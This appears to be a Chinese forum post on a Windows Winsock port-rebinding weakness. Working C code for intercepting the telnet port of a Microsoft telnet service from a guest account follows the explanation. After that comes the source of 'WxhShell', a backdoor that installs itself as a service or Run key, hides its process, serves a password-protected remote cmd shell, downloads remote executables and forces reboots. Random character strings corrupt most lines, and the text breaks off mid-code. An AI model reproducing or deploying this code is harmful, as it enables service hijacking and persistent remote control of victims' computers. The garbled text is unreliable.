在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}eI`Qg s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
2\,e CY5w$E saddr.sin_family = AF_INET;
wU.'_SBfB xLZMpP5c saddr.sin_addr.s_addr = htonl(INADDR_ANY);
` )]lUvR tz3]le|ml bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
m.Twgin %L28$c3p 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
u5/t2}^T r
/^'Xj'( 这意味着什么?意味着可以进行如下的攻击:
D|"sE> h2AGEg'g2[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2>ys2:z RpU Lm1b 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5W|u5AIw t+jIHo 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
hO%Y{Gg we
}#Ru* 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<TL])@da $>|?k$(x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
(%Ng'~J\| 1"M"h_4 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
y>%W;r) ]|t9B/()i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/^~p~HKtx x}_rnf_ #include
.:T9pplq #include
( e0_RQ #include
:82?'aR #include
\3L$I-]m DWORD WINAPI ClientThread(LPVOID lpParam);
N:twq&[Y int main()
oO8]lHS?@ {
9A(n_Rs7? WORD wVersionRequested;
G]at{(^Vz DWORD ret;
Ls lM$
WSADATA wsaData;
}Z^FEd"y BOOL val;
}WA<=9e SOCKADDR_IN saddr;
M\9IlV?' SOCKADDR_IN scaddr;
&^AzIfX}Gw int err;
|e~u!V\m SOCKET s;
Ia=&.,xub SOCKET sc;
4 iik5 int caddsize;
gYRqqV HANDLE mt;
MPqY?KF DWORD tid;
5s#R`o%Z wVersionRequested = MAKEWORD( 2, 2 );
<\+Po<)3j err = WSAStartup( wVersionRequested, &wsaData );
fmtuFr^a1 if ( err != 0 ) {
y Y'gx|\ printf("error!WSAStartup failed!\n");
3Gj(z:)b return -1;
/7.wQeL9 }
tP&{ J^G saddr.sin_family = AF_INET;
b8eDD+ul k gQu\[e%mVo //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?`za-+<r< ZDW,7b%U saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#W_i{bdO saddr.sin_port = htons(23);
SnH:(tO[X if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
GOUY_&}tL {
=;kRk.qzy printf("error!socket failed!\n");
i:MlD5 F return -1;
lkI8{ }
2Y9y5[K,F) val = TRUE;
|}l@w+N3 //SO_REUSEADDR选项就是可以实现端口重绑定的
n+v!H O"2u if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
X *_
SHt {
Ar\IZ_Q printf("error!setsockopt failed!\n");
YCtIeq% return -1;
`MN&(!&C* }
]kyle3#-~ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
pHq{S;R2G //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
.WxFm@]/\ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Bk\ *0B Rc$=+K# if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
T^rz!k{ {
['Hp?Q|k ret=GetLastError();
/+Wb6{lY printf("error!bind failed!\n");
&z7N\n return -1;
.;]YJy }
9OE_?R0c! listen(s,2);
40`9t Xn while(1)
Pc/.*kOT {
cP/F|uG5 caddsize = sizeof(scaddr);
MBnK&GS //接受连接请求
B7NmET4 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
FcuEeca if(sc!=INVALID_SOCKET)
%:yHMEG]' {
;}UIj{sj* mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
8Sd?b5|G~ if(mt==NULL)
" 8~f {
K *
xM[vO printf("Thread Creat Failed!\n");
B^E2UNRA break;
gt].rwo" }
}dV9%0s! }
uJ2C+$=Ul CloseHandle(mt);
\9&YV;Ct }
I^rZgp<'i closesocket(s);
6)tB{:h&~0 WSACleanup();
YzforM^F return 0;
yHa:?u6 }
FCS5@l,'< DWORD WINAPI ClientThread(LPVOID lpParam)
U'f$YVc {
5$(b3] SOCKET ss = (SOCKET)lpParam;
'fp<FeTg SOCKET sc;
NgDZ4&L unsigned char buf[4096];
T%N~oa SOCKADDR_IN saddr;
\@iOnRuHn9 long num;
"<g?x`iz DWORD val;
-f-O2G= DWORD ret;
.j'@K+<45 //如果是隐藏端口应用的话,可以在此处加一些判断
Z<$E.## //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
8`R +y saddr.sin_family = AF_INET;
6KBzlj0T+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
N,'[:{GOY saddr.sin_port = htons(23);
Kt/+PS if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
iA1;k*)q {
S'v V" printf("error!socket failed!\n");
y \mutm return -1;
r1^m#!=B }
5bGjO&$l val = 100;
LZZ:P if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
y~4SKv
$ {
l,^i5t' ret = GetLastError();
8Izn'>" return -1;
YU ]G5\UU }
UIm[DYMS if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(}/.4xE {
R-2FNl ret = GetLastError();
aHVdClD2o return -1;
hPEp0(" }
JsWq._O{/ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
W>t&N {
auyKLT3C printf("error!socket connect failed!\n");
?-RoqF closesocket(sc);
N4Fy8qU; closesocket(ss);
ci{9ODN return -1;
FBwncG$]F* }
X+'^Sp while(1)
TCEXa?,L {
lN][xnP //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
+*r**(-Dm //如果是嗅探内容的话,可以再此处进行内容分析和记录
^J*G%* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
o\=i0HR9 num = recv(ss,buf,4096,0);
ib""Fv7{ if(num>0)
{YO%JTQ send(sc,buf,num,0);
p'uqh
e X else if(num==0)
t^bdi}[ break;
S,)|~#5x num = recv(sc,buf,4096,0);
GWA!Ab'<U if(num>0)
mv9E{m send(ss,buf,num,0);
!txELA~24 else if(num==0)
N.Wdi break;
ac+k 5K+ }
I[cV"BDa closesocket(ss);
nDoiG#N0 closesocket(sc);
}?Yr>ZRi return 0 ;
N8MlT \+r }
c|!A?>O? i zvK5Zxl YKX>@)Dxv ==========================================================
Wc`J`.#
=|WV^0=S'% 下边附上一个代码,,WXhSHELL
aJa^~*N/Aa =p&'_a^$ ==========================================================
H-\{w
>`rNT|rg #include "stdafx.h"
bsk=9K2_2t +=B}R #include <stdio.h>
_ \y0 mc4 #include <string.h>
!>Qc2&ZV #include <windows.h>
8t*%q+Z #include <winsock2.h>
jhEg#Q$ #include <winsvc.h>
M_e$l`"G #include <urlmon.h>
*|gs-<[#X eV{FcJha #pragma comment (lib, "Ws2_32.lib")
zcD_}t_K #pragma comment (lib, "urlmon.lib")
tMPXvE L/iVs`qF #define MAX_USER 100 // 最大客户端连接数
%Dr4~7=7a #define BUF_SOCK 200 // sock buffer
a@_Cx #define KEY_BUFF 255 // 输入 buffer
@BHS5^|
Sfoy8<j #define REBOOT 0 // 重启
rM
>V=|9, #define SHUTDOWN 1 // 关机
1f pS"_} 4gkV]"
H! #define DEF_PORT 5000 // 监听端口
#Wc #fP T
m@1q!G #define REG_LEN 16 // 注册表键长度
3}#XA+Z #define SVC_LEN 80 // NT服务名长度
b#I*~ >2Qqa;nx| // 从dll定义API
Dy{`">a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
kj3o1 Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
u0oYb_Yv typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
M6hvi(!X2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
vb"dX0)< /4B4IT // wxhshell配置信息
dj'8x48H2W struct WSCFG {
nwZr3r int ws_port; // 监听端口
)Y,?r[4{ char ws_passstr[REG_LEN]; // 口令
*A1TDc$ int ws_autoins; // 安装标记, 1=yes 0=no
}jY[| >z char ws_regname[REG_LEN]; // 注册表键名
cVHE}0Xd( char ws_svcname[REG_LEN]; // 服务名
R$;&O.
5M char ws_svcdisp[SVC_LEN]; // 服务显示名
YT(1
"{: char ws_svcdesc[SVC_LEN]; // 服务描述信息
xm10 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
% 6hw int ws_downexe; // 下载执行标记, 1=yes 0=no
Y7t{4P char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
hte9l) char ws_filenam[SVC_LEN]; // 下载后保存的文件名
T;[c<gc/ , w'$T) };
~h^}W$pO ?.Yw%{?TG // default Wxhshell configuration
%M,d/4=P struct WSCFG wscfg={DEF_PORT,
`jQ}^wEgu "xuhuanlingzhe",
&<P^Tvqq& 1,
4bFVyv "Wxhshell",
R5;eR(24G "Wxhshell",
`i)ePiE "WxhShell Service",
?5YmE(v7 "Wrsky Windows CmdShell Service",
PD
T\Q\J^X "Please Input Your Password: ",
+-!|%jG`%v 1,
h. (;GJO "
http://www.wrsky.com/wxhshell.exe",
cD`O+WA2K "Wxhshell.exe"
Gxa.<E^k };
B?ob{K@ >'TD?@sr // 消息定义模块
4d._Hd=' char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6u, 0y$3 char *msg_ws_prompt="\n\r? for help\n\r#>";
"QFADk1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
AB&wn>q char *msg_ws_ext="\n\rExit.";
|m 5;M$M) char *msg_ws_end="\n\rQuit.";
?!
_pP| char *msg_ws_boot="\n\rReboot...";
ic]tUOC : char *msg_ws_poff="\n\rShutdown...";
:0j`yo:w char *msg_ws_down="\n\rSave to ";
rWfurB5f Q%VR@[`\ char *msg_ws_err="\n\rErr!";
P "_}F char *msg_ws_ok="\n\rOK!";
L%O8vn^3 Fx99"3`3 char ExeFile[MAX_PATH];
n25tr'= int nUser = 0;
JX0_UU HANDLE handles[MAX_USER];
y3[)zv int OsIsNt;
b
G5 x(zZqOed SERVICE_STATUS serviceStatus;
pL/.JzB SERVICE_STATUS_HANDLE hServiceStatusHandle;
9PGR#!!F$ Cbg#Yz~/ // 函数声明
B{UoNm@ int Install(void);
ZFuJ2 : int Uninstall(void);
g#%FY1xp int DownloadFile(char *sURL, SOCKET wsh);
YB3=ij!K int Boot(int flag);
@bCiaBdi void HideProc(void);
0#/
6P&6 int GetOsVer(void);
$z,DcO.vz int Wxhshell(SOCKET wsl);
27 TZ+? void TalkWithClient(void *cs);
y^46z(I int CmdShell(SOCKET sock);
3R:i*8C int StartFromService(void);
<.(/#=2 int StartWxhshell(LPSTR lpCmdLine);
z slEUTj) u&_U
CJCf VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
r4ttEJ-jG VOID WINAPI NTServiceHandler( DWORD fdwControl );
BI^]juH-c Uu:v4a // 数据结构和表定义
OHnjI>/ SERVICE_TABLE_ENTRY DispatchTable[] =
5_C#_=E {
5t#]lg[06' {wscfg.ws_svcname, NTServiceMain},
GXlg% {NULL, NULL}
MVd
3* };
:@Dos'0Px ViT 5Jn7 // 自我安装
>@Vr'kg+V int Install(void)
[=F
|^KL {
htrj3$q(4 char svExeFile[MAX_PATH];
6SO7iFS HKEY key;
6%INNIyAWa strcpy(svExeFile,ExeFile);
+*{5ORq= +mOtYfW // 如果是win9x系统,修改注册表设为自启动
F-,{+B66 if(!OsIsNt) {
@CI6$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(#iM0{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\\Tp40m+ RegCloseKey(key);
*`.{K12T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
gbf=H8] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
.
\0=1P: RegCloseKey(key);
*+Q*&-$ return 0;
R./ 6Q1 }
{1DYXKe }
jF_I4H }
c+/C7C o else {
iQ"F`C I8;[DP9 // 如果是NT以上系统,安装为系统服务
F/>Pvq] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
K.1yncS^ if (schSCManager!=0)
slfVQ809 {
(b}7Yb]#c SC_HANDLE schService = CreateService
H^:|`T|, (
O~'yP@&` schSCManager,
2vQ^519 wscfg.ws_svcname,
$QBUnLOek& wscfg.ws_svcdisp,
z35Rjhj9 SERVICE_ALL_ACCESS,
yP4.Z9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
\U>Kn_7m SERVICE_AUTO_START,
'\\Cpc_g SERVICE_ERROR_NORMAL,
PuCA
@qY svExeFile,
4F6o NULL,
/- 4B)mL NULL,
xG/qDc NULL,
t+J6P)= NULL,
i4rF~'h@ NULL
+ qqN );
#e>MNc
'z if (schService!=0)
NWK_(=n {
,x.)L=Cx8 CloseServiceHandle(schService);
A_|FsQ6$P CloseServiceHandle(schSCManager);
S]=Vr%irX strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
NYvj?>[y strcat(svExeFile,wscfg.ws_svcname);
]sAD5<; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
bI(98V,t RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
E}&jtMRUt RegCloseKey(key);
}_;!E@ return 0;
3~xOO*`o }
=W*`HV-w }
@0'|Uygn CloseServiceHandle(schSCManager);
&~f_1< }
bR,Iq}p }
9W$)W eJp-s" % return 1;
)1
j2 }
M6#(F7hB ~'=4K/39 // 自我卸载
p,Hk"DSs% int Uninstall(void)
M[_I16s {
BmXGk HKEY key;
AB\4+ CLV n5>N9lc if(!OsIsNt) {
TJ:Lz]l > if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RhmVHhj RegDeleteValue(key,wscfg.ws_regname);
!#qB%E]a RegCloseKey(key);
uZI a-b if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
CHI(\DXNs RegDeleteValue(key,wscfg.ws_regname);
;g]+MLV9 RegCloseKey(key);
r^^C9" return 0;
+'.Q- }
hj,x~^cS }
|?A-?- }
D/UGN+ else {
_I4sy=tYXK Dx'e+Bm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
dxWw%_Q if (schSCManager!=0)
=
g}yA=. {
JvaaBXkS\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
c.v)M\: if (schService!=0)
[F EQ@ {
?s33x# if(DeleteService(schService)!=0) {
gwNkjI=, CloseServiceHandle(schService);
mu sxX58% CloseServiceHandle(schSCManager);
Zh^w)}(W return 0;
oD\+ 5[x }
@CF4:NNHw CloseServiceHandle(schService);
>O~5s.1u }
nVzo=+Yp CloseServiceHandle(schSCManager);
V}qmH2h }
54w-yY }
a"0~_= Z-(HDn return 1;
P\e%8&_U/ }
>`'9V|1 I#U44+c // 从指定url下载文件
:6V8 int DownloadFile(char *sURL, SOCKET wsh)
kM`#U
*j {
^ BKr0~4A HRESULT hr;
sN2l[Ous char seps[]= "/";
vE(Hy&Q& char *token;
Dzr5qP?# char *file;
jq{Ix char myURL[MAX_PATH];
2wQ
CQ" char myFILE[MAX_PATH];
>qA&;M BYU.ptiJJ strcpy(myURL,sURL);
]U%Tm>s. token=strtok(myURL,seps);
A4' aB0^ while(token!=NULL)
@jKB!z9{ {
(.o'1' file=token;
W( YJz#]6_ token=strtok(NULL,seps);
"#jKk6{I0 }
N=9lA0y+ ez{&Y>n GetCurrentDirectory(MAX_PATH,myFILE);
n}{cs strcat(myFILE, "\\");
_8
J(;7 strcat(myFILE, file);
}q9f,mz send(wsh,myFILE,strlen(myFILE),0);
<lR8MqjM_ send(wsh,"...",3,0);
;rgsPVbVf hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
*en{pR' if(hr==S_OK)
9 lv2 return 0;
kx[8#+P else
E<dN=#f6 return 1;
&&O=v]6,V 2uVm?nm }
4a-wGx#h .Ko`DH~!,C // 系统电源模块
"Q1hP9xV int Boot(int flag)
s3J$+1M> {
vaL-Mi(_ HANDLE hToken;
z@~rm9d TOKEN_PRIVILEGES tkp;
14RL++ pjFgIG2=9 if(OsIsNt) {
B|v
fkX2f OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
n:P}K?lg LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?3#X5WT tkp.PrivilegeCount = 1;
srL,9)OC tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
GCHssw~P'v AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
.+yJ'*i$d if(flag==REBOOT) {
<FEO6YP if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
71_N9ub@z return 0;
q9Q4F }
Q"O _h else {
A\`Uu& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
G1rgp>m return 0;
dkjL;1 }
#LiC@> }
RMXP)[ else {
^d,d<Uc if(flag==REBOOT) {
6]VTn- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
iYnt:C return 0;
x>cu<,e$d\ }
@
55Y2 else {
%:lQ ~yn if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
V6Y!0,w!a return 0;
bGZy0. }
L6T_&AiL$ }
sZc<h]L(g Y%3j>_\; return 1;
D%zIm,bf }
",a
fv{C m`Z4#_s2 // win9x进程隐藏模块
g:HIiGN0Ic void HideProc(void)
o&=m]hKpQl {
6o!"$IH4 ^IpS 3y HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
mYCGGwD if ( hKernel != NULL )
\ CYu; {
4"{q|~&=:$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
JmkJ^-A 6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
-Db( FreeLibrary(hKernel);
g(1'i 1 }
Uu
,Re ~1p
f ? return;
Ae1},2py }
"'%x|nB xfb%bkr // 获取操作系统版本
J#\/znT int GetOsVer(void)
~jgd92`{z {
V;$lgTs|' OSVERSIONINFO winfo;
?S"xR0 * winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
&3rh{" ^9 GetVersionEx(&winfo);
?pFHpz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
k:fRk<C return 1;
]BA8[2=m else
'2NeuK -KD return 0;
&f[[@EF7 }
ipsNiFv: so;aN'{6@ // 客户端句柄模块
:M Md@ int Wxhshell(SOCKET wsl)
4R6X"T9- {
E>&dG:3no SOCKET wsh;
q;rU}hAzG0 struct sockaddr_in client;
^VA)vLj@ DWORD myID;
_Q QO&0Z =&vV$UtV while(nUser<MAX_USER)
YPN|qn( {
`|gCbs95 int nSize=sizeof(client);
GFvOrRlP\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
BP` UB if(wsh==INVALID_SOCKET) return 1;
yY}`G-)g~* 1UOFTI2S| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
sviGS&J9h if(handles[nUser]==0)
9rhz#w closesocket(wsh);
bp }~{]:b else
17-K~ybc nUser++;
mV-MJ$3r }
Ba"Z^(: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
t ,0~5>5 g%K3ah
v return 0;
JWLQ9UX }
;(z0r_p<q uJi|@{V // 关闭 socket
fNQecDuS void CloseIt(SOCKET wsh)
zDX-}t_'q {
m$]?Jq closesocket(wsh);
ZW2U9 nUser--;
ur;8uv2o ExitThread(0);
&Oe,$%{hBh }
1&U U6| X {&xKSWNc // 客户端请求句柄
\2uQ"kJC void TalkWithClient(void *cs)
nfc&.(6x< {
;#AV~Y-
s j &~OR6 SOCKET wsh=(SOCKET)cs;
(i { char pwd[SVC_LEN];
xR$xAcoSB char cmd[KEY_BUFF];
ZZ.GpB. char chr[1];
%0L9)-R int i,j;
< d?O#( UtzW 5{ while (nUser < MAX_USER) {
U`xjau+ >XBLm`a if(wscfg.ws_passstr) {
$cjidBi`): if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
zI&oZH^vn //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
U\+o$mU^ //ZeroMemory(pwd,KEY_BUFF);
9mr99tA i=0;
}=NjFK_6 while(i<SVC_LEN) {
lV3\5AEW XJ.vj+XXb
// 设置超时
<Dl7|M fd_set FdRead;
nT:ZSJWM struct timeval TimeOut;
O0e6I&u: FD_ZERO(&FdRead);
#5F\zeo@F? FD_SET(wsh,&FdRead);
$cnIsyKWY TimeOut.tv_sec=8;
60Y&)UR TimeOut.tv_usec=0;
gz8<&*2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
@`)A) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
gE|_hfm( kf';" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
p;g$D=2 pwd
=chr[0]; :dK/}S0
if(chr[0]==0xd || chr[0]==0xa) { LEG
y1L
pwd=0;
t;{/Q&C
break; $`mxOcBmQ
} fs\l*nBig
i++; g$~ktr+%
} LyH{{+V
\It8+^d@
// 如果是非法用户,关闭 socket F8f@^LVM/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @a+1Ri`)
} L'.7V ~b{
I6~.sTl
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =
oQ-I
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J&wrBVv1uk
0KE+RzrB
while(1) { {U>B\D
3 cu`U`
ZeroMemory(cmd,KEY_BUFF); fM6Pw6k
tRFj<yuaq
// 自动支持客户端 telnet标准 jUYb8:B
j=0; #2s$dI
while(j<KEY_BUFF) { voEg[Gg4%I
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ng"R[/)In
cmd[j]=chr[0]; Jc95Ki1X
if(chr[0]==0xa || chr[0]==0xd) { ;kDz9Va
cmd[j]=0; 8A#qbBD
break; %N04k8z
} QOB>TvE
j++; h@&&.S`B
} ^fa+3`>
7E6gXf.
// 下载文件 x=(Q$Hl5
if(strstr(cmd,"http://")) { 'gI q_t|^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); To.CY^M
if(DownloadFile(cmd,wsh)) "k[-eFz/@M
send(wsh,msg_ws_err,strlen(msg_ws_err),0); . _Bejh
else E9i
M-Lw
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1YL6:5n
} 8c3Qd
else { q#$Al
?#da4W
switch(cmd[0]) { {1Z8cV
LB1LQ0M
// 帮助 hOG9
case '?': { [@(M%
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YBehyx2eK
break; *]:gEO
} 9ldv*9v
// 安装 O`<id+rx
case 'i': { Y[#EFM
if(Install()) }rRf4te
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @i U@JE`C
else %ukFn
&-2@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
&NM.}f
break; DryN}EMOKD
} MEf`&<t
// 卸载 j51Wod<[
case 'r': { >+Z BQ]~
if(Uninstall()) FxeDjAP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e)"]H*
else ?NkweT(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l];w,(u{
break; q$x$ 4
} ,rc?,J1l
// 显示 wxhshell 所在路径 Er509zZ,[
case 'p': { D+.<
kY.
char svExeFile[MAX_PATH]; /P { Zo
strcpy(svExeFile,"\n\r"); 2O;Lw@W
strcat(svExeFile,ExeFile); 8`~M$5!
send(wsh,svExeFile,strlen(svExeFile),0); oe$&X&
break; 5P'o+Vwz
} q% *-4GP
// 重启 >ka*-8?
case 'b': { ~QzUQYG*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nK[T.?Nz
if(Boot(REBOOT)) PxE 0b0eo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8$9Q=M
else { M uz+j.0
closesocket(wsh); @/jLN
ExitThread(0); nIc:<w]
} X)6}<A
break; '9d<vWg
} [Ume^
// 关机 tjLp;%6e
case 'd': { \A
"_|Yg
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); " ,k(*
if(Boot(SHUTDOWN)) G4O
$gg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B6qM0QW
else {
/,Unp1D
closesocket(wsh); GY% ^!r
ExitThread(0); v|~&I%S7
} ygI81\D
break; rF n%e
} Z8mSm[w
// 获取shell DNTkv_S
case 's': { o9GtS$O\
CmdShell(wsh); xAlyik
closesocket(wsh); DPV>2'
fV
ExitThread(0); XL=Y~7b
break; 10.u
} I'sq0^
// 退出 *49({TD6`
case 'x': { {9mXJu$cc
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MC\rx=cR\
CloseIt(wsh); lSW6\jX
break; F"I{_yleq'
} -O&u;kh4g
// 离开 [te9ui%JS
case 'q': { CB!5>k+mC
send(wsh,msg_ws_end,strlen(msg_ws_end),0); H| UGR~&
closesocket(wsh); M8Tj;ATr
WSACleanup(); v$n J$M&k
exit(1); .C HET]
break; X1wlOE
} J]h$4"
} {Tr5M o
} ko7*9`
[l`_2{:
// 提示信息 #k}x} rn<'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6I8A[
} ,q_'l?Pn
} p-CBsm5P
J~jxmh
return; 322)r$!"
} N"',
nO;*Peob
// shell模块句柄 O\~/J/u
<
int CmdShell(SOCKET sock) ^k#.;Q#4
{ }^b7x;O|
STARTUPINFO si; heizO",8.&
ZeroMemory(&si,sizeof(si)); --D&a;CO}
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A,H|c="
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _0GM!Cny
PROCESS_INFORMATION ProcessInfo; aB$xQ|~
char cmdline[]="cmd"; W~W`fm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k_,wa]ws$
return 0; <]w(1{q(
} Sh@en\m=#S
k'6Poz+<
// 自身启动模式 5u:{lcC.X
int StartFromService(void) 4Y'Kjx
{ /7`fg0A
typedef struct 6Wn"h|S
{ I38j[Xk
DWORD ExitStatus; $T#yxx
DWORD PebBaseAddress; UZ*Yt
DWORD AffinityMask; NP+*L|-;
